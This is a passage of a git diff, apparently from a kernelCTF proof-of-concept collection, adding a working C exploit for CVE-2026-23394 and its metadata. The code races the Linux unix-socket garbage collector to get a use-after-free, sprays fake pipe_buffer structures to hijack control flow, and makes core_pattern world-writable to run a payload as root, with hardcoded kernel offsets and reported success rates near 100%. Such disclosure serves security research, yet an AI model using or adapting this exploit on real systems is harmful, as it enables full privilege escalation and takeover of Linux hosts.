PAGE_SIZE, PROT_READ, MAP_PRIVATE, fd, 0); + + // f_count -= 1 for each file from spray, but mmap is holding 1 reference + for (int i = 0; i < NUM; i++) + if (fds[i] >= 0) close(fds[i]); + + // now it has f_count == 1 from the mmap and we can safely close uaf alias fd + close(fd); + + // this will cause refcount underflow => f_count == -1, but no panic + // anyway the file will be freed soon so we don't care about the refcount + if (mapping != MAP_FAILED) + munmap(mapping, PAGE_SIZE); +} + +// The splice reads from the UAF pipe, calling pipe_buf_confirm() which +// dereferences our fake ops->confirm pointer (the decrement gadget). +static void rip_pipe_buf_confirm(int pipe_read_fd, int splice_target_fd) { + // unshare(CLONE_FILES) ensures fdget() uses the light path + // (no atomic_inc_not_zero on struct file) + // else the kernel will get stuck in a forever loop trying to increment f_count + unshare(CLONE_FILES); + + // Shutdown the target socket to avoid crash in skb_splice_from_iter + shutdown(splice_target_fd, SHUT_WR); + + // Our process will get the signal because we called shutdown + // so we would like to ignore it + signal(SIGPIPE, SIG_IGN); + + // Calls sprayed pipe_buffer.ops->confirm() via the decrement gadget + splice(pipe_read_fd, NULL, splice_target_fd, NULL, 1, 0); + + // we have corrupted pipe_read_fd with f_count == 0, let's fix it + corrupted_fd_cleanup(pipe_read_fd); +} + +static void privesc_core_pattern() { + struct stat cp_stat; + stat("/proc/sys/kernel/core_pattern", &cp_stat); + mode_t mode = cp_stat.st_mode & 0777; + printf("core_pattern permissions: %04o\n", mode); + + // The mode was probably decremented from 0644 to 0643 + if (!(mode & 0002)) + return; + + printf("\033[32m[SUCCESS!] core_pattern is now world-writable!\033[0m\n"); + + const char *payload = "|/bin/dd if=/flag of=/dev/kmsg"; + int cp_fd = open("/proc/sys/kernel/core_pattern", O_WRONLY); + (void)write(cp_fd, payload, strlen(payload)); + close(cp_fd); + + pid_t crash_pid = fork(); + if (crash_pid == 0) { + prctl(PR_SET_DUMPABLE, 1); + *(volatile int*)0 = 0; + _exit(1); + } + + // Wait for the flag to be flushed + sleep(2); + + exit(0); +} + + +/* ── Step 2: Race ────────────────────────────────────────────────── */ + +static void* race_gc_thread(void *arg) { + auto *ctx = (race_context *)arg; + pin_to_cpu(0); + + // Pick the start time in the future to get the time to setup the timerfd storm + struct timespec trigger_time; + clock_gettime(CLOCK_MONOTONIC, &trigger_time); + timespec_add_ns(&trigger_time, TIMER_SETUP_LEAD_NS); + + ctx->gc_trigger_time = trigger_time; + ctx->gc_trigger_time_set.store(1); + + // Widens the Vulnerability window + setup_timerfd_storm(NUM_GC_TIMERS, &trigger_time, ctx->gc_delay); + + // The timerfd storm will fire at a fixed offset from the trigger_time + wait_abs_time(&trigger_time); + + //@race_window(name="Vulnerability", start="unix_vertex_dead(victim)", before="get_file(victim)") + //@race_window(name="Pivot", start="splice(victim.receive_queue)", after="peek_skb(victim.receive_queue)") + + // Trigger the GC and wait until it purges the victim's queue + trigger_gc_and_wait(); + + //@race_window(name="Vulnerability", end="unix_vertex_dead(receiver)", after="fput(receiver)") + //@race_window(name="Pivot", end="fput(target_file)", before="get_file(target_file)") + + // GC added delayed works to free files + wait_for_delayed_work(); + + //@race_window(name="Reclaim", start="kmalloc(eventfd)", before="deref(target_file->f_security)") + + // Reclaim the target_file freed by unix_destruct_scm during victim queue purge + spray_eventfds_reclaim(ctx->spray_fds); + + return NULL; +} + +static void* race_recv_thread(void *arg) { + auto *ctx = (race_context *)arg; + pin_to_cpu(1); + + while (!ctx->gc_trigger_time_set.load()) __builtin_ia32_pause(); + + // The time when we have checked the receiver socket + struct timespec recv_time = ctx->gc_trigger_time; + timespec_add_ns(&recv_time, ctx->gc_delay); + + // The time when we can run the next race (budget for the recv+close) + struct timespec peek_time = recv_time; + timespec_add_ns(&peek_time, RECV_FD_BUDGET_NS); + + // Widens the Pivot window + setup_timerfd_storm(NUM_RECV_TIMERS, &peek_time, ctx->scm_fp_dup_delay); + + // Wait for the window to start + wait_abs_time(&recv_time); + + //@race_window(name="Vulnerability", start="get_file(victim)", after="unix_vertex_dead(victim)") + + // victim was checked with only inflight refcounts (GC decides it is dead) + // victim.f_count += 1 (but the GC assumed it won't be changed) + int victim = recv_fd(ctx->receiver_fd, MSG_PEEK | MSG_DONTWAIT); + // we have checked the receiver and get stalled on the CPU0 before the receiver check + // let's drop f_count of the receiver, so the GC treat it as dead also + // receiver.f_count -= 1 (the GC assumed it won't be changed also) + close(ctx->receiver_fd); + + //@race_window(name="Vulnerability", end="fput(receiver)", before="unix_vertex_dead(receiver)") + + // The timerfd storm will fire at a fixed offset from the peek_time + wait_abs_time(&peek_time); + + //@race_window(name="Pivot", start="scm_fp_dup(scm_fp_list)", before="unix_detach_fds(eventfds_skb)") + + // 1) Save the pointer to scm_fp_list structure in scm_fp_dup(scm_fp_list) + // 2) Stall waiting for the GC to drop refcount on all files in the list + // 3) Then call get_file on freed target_file (f_count == 0) + int peeked_fds[SCM_MAX_FD]; + int peek_count = recv_fds(victim, MSG_PEEK | MSG_DONTWAIT, peeked_fds, SCM_MAX_FD); + // We closed the last file (target_file) at the preparation step + // So the GC dropped the refcount on the target_file to 0 + // But then our MSG_PEEK in scm_fp_dup called get_file(target_file) + // And installed the target_file in our files table + ctx->uaf_alias_fd = peeked_fds[peek_count - 1]; + + //@race_window(name="Pivot", end="get_file(target_file)", after="fput(target_file)") + + if (!check_vuln_triggered(victim)) + exit(1); + + return NULL; +} + +static void trigger_race(race_context *ctx) { + ctx->gc_trigger_time_set.store(0); + + pthread_t gc_handle, recv_handle; + pthread_create(&gc_handle, NULL, race_gc_thread, ctx); + pthread_create(&recv_handle, NULL, race_recv_thread, ctx); + pthread_join(gc_handle, NULL); + pthread_join(recv_handle, NULL); +} + + +/* ── Setup helpers ────────────────────────────────────────────────── */ + +static Target prepare_kernelxdk() { + TargetDb kxdb("target_db.kxdb", target_db); + + Target target = kxdb.AutoDetectTarget(); + printf("[+] Target: %s %s\n", target.GetDistro().c_str(), target.GetReleaseName().c_str()); + + // Address of core.pattern->mode which we intend to decrement + // from 0644 to 0643 to make it world-writable and escalate privileges + target.AddSymbol("core_pattern_mode", 0x321b3ac); + // Fake vtable for pipe_buffer->ops contains the decrement gadget at 0 offset + target.AddSymbol("ql_ps.end_io", 0x33b88e0); + + target.AddStruct("pipe_buffer", 0x28, { + {"page", 0x00, 0x08}, + {"offset", 0x08, 0x04}, + {"len", 0x0c, 0x04}, + {"ops", 0x10, 0x08}, + {"flags", 0x18, 0x04}, + {"private", 0x20, 0x08}, + }); + target.AddStruct("pipe_buf_operations", 0x18, { + {"confirm", 0x00, 0x08}, + {"release", 0x08, 0x08}, + {"try_steal", 0x10, 0x08}, + }); + + return target; +} + +static void setup_nofile_limit(rlim_t limit) { + struct rlimit rl; + getrlimit(RLIMIT_NOFILE, &rl); + rl.rlim_cur = limit; + if (rl.rlim_max < rl.rlim_cur) + rl.rlim_max = rl.rlim_cur; + setrlimit(RLIMIT_NOFILE, &rl); +} + +static uint64_t leak_kernel_base_and_check(Target *target) { + uint64_t num_pages = target->GetKernelPageCount(); + uint64_t kernel_base = leak_kaslr_base(num_pages, 100, 3); + + check_kaslr_base(kernel_base); + printf("[+] Kernel base: 0x%lx\n", (unsigned long)kernel_base); + + return kernel_base; +} + +int main(int argc, char *argv[]) { + bool vuln_trigger_only = argc > 1 && strcmp(argv[1], "--vuln-trigger") == 0; + + Target target = prepare_kernelxdk(); + + setup_nofile_limit(NOFILE_LIMIT); + + uint64_t kernel_base = 0; + if (!vuln_trigger_only) + kernel_base = leak_kernel_base_and_check(&target); + + long gc_delay = GC_DELAY_START; + long scm_fp_dup_delay = RECV_DELAY_START; + + for (int attempt = 1; attempt <= MAX_RACE_ATTEMPTS; attempt++) { + if (attempt % 100 == 0) + printf("\n[MAIN] === Attempt #%d, delay=%ld, timer_offset=%ld ===\n", + attempt, gc_delay, scm_fp_dup_delay); + + // @step(name="Exploit attempt (forked)") + pid_t pid = fork(); + if (pid == 0) { + // Use the same per cpu caches for all allocations + // groom cpu0, create all the files on cpu0, free them on cpu0 and spray on cpu0 + // details about CPU pinning are in the documentation + pin_to_cpu(0); + + race_context ctx{}; + ctx.gc_delay = gc_delay; + ctx.scm_fp_dup_delay = scm_fp_dup_delay; + + // @step(name="Step 1: Preparation - create a long cycle of unix sockets") + vuln_prepare(&ctx); + + // @step(name="Step 2: Heap grooming") + groom_filp_cache(); + + // @step(name="Step 3: Race between unix GC and recv+close") + // @step(name="Step 4: Race between unix_destruct_scm and scm_fp_dup") + trigger_race(&ctx); + + // @step(name="Step 5: Replace eventfd with pipe read-end") + pipe_fds uaf_pipe = convert_uaf_file_into_pipe(ctx.spray_fds, ctx.uaf_alias_fd); + + // @step(name="Step 6: Grow pipe_buffers to kmalloc_large allocation outside slab") + grow_pipe_buffers(&uaf_pipe); + + // Create a socketpair for Step 8 to avoid reclamation of the uaf_pipe + // we will close the pipe in Step 7 and a new file can reclaim the slot + int splice_sock[2]; + socketpair(AF_UNIX, SOCK_STREAM, 0, splice_sock); + + // @step(name="Step 7: Free pipe->bufs and spray fake pipe_buffers") + free_pipe_and_spray_fake_bufs(&uaf_pipe, splice_sock[0], &target, kernel_base); + + // @step(name="Step 8: RIP control via splice => pipe->bufs->confirm") + rip_pipe_buf_confirm(ctx.uaf_alias_fd, splice_sock[1]); + + // @step(name="Step 9: Privilege escalation via core_pattern") + privesc_core_pattern(); + } + + int status; + waitpid(pid, &status, 0); + + if (WIFEXITED(status) && WEXITSTATUS(status) == 0) + return 0; + + // Loop over every gc_delay from 5k ns to 30k ns with 1k ns step + // For each gc_delay try scm_fp_dup delay from 1k ns to 5k ns with 100ns step + scm_fp_dup_delay += RECV_DELAY_STEP_NS; + if (scm_fp_dup_delay > RECV_DELAY_MAX) { + scm_fp_dup_delay = RECV_DELAY_START; + gc_delay += DELAY_INCREASE; + if (gc_delay > DELAY_MAXIMUM) + gc_delay = GC_DELAY_START; + } + } + + return 1; +} diff --git a/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/metadata.json new file mode 100644 index 000000000..92f7796a6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/metadata.json @@ -0,0 +1,31 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp455", "exp460"], + "vulnerability": { + "cve": "CVE-2026-23394", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e5b31d988a41549037b8d8721a3c3cae893d8670", + "affected_versions": ["6.10 - 6.18"], + "requirements": { + "attack_surface": [], + "capabilities": [], + "kernel_config": ["CONFIG_UNIX"] + } + }, + "exploits": { + "lts-6.12.74": { + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "499 of 500 runs (99.8%)" + }, + "cos-121-18867.294.134": { + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": ">99% of 200 runs" + }, + "mitigation-v4-6.12": { + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "100% of 550 runs" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/original_exp455.tar.gz b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/original_exp455.tar.gz new file mode 100644 index 000000000..0826f7000 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/original_exp455.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/original_exp460.tar.gz b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/original_exp460.tar.gz new file mode 100644 index 000000000..3693acdd9 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/original_exp460.tar.gz differ